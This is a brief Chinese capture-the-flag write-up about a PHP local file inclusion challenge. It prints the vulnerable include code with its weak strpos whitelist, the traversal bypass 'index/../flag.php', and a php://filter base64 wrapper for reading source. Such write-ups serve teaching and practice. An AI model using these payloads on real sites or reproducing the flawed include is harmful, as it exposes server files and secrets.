考察知识点
1.include白名单路径检查
白名单是这样的:
strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")
flag就在flag.php里面那么可以这样绕过
index/../flag.php
2.php伪协议
读取文件用最简单的
php://filter/read=convert.base64-encode/resource=flag.php
解题:
进入页面点击一个功能点
有传参点:
1.SQL注入
2.文件包含
尝试一下不是SQL注入,那多半就是文件包含了
尝试一下读取index.php
报错了,最后发现是要把末尾的.php删除
解密完php的内容是这样的:
<?php
$file = $_GET['category'];
if(isset($file))
{
if(strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else
{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
那就采用我们上面介绍的方法:绕过白名单
解码得到flag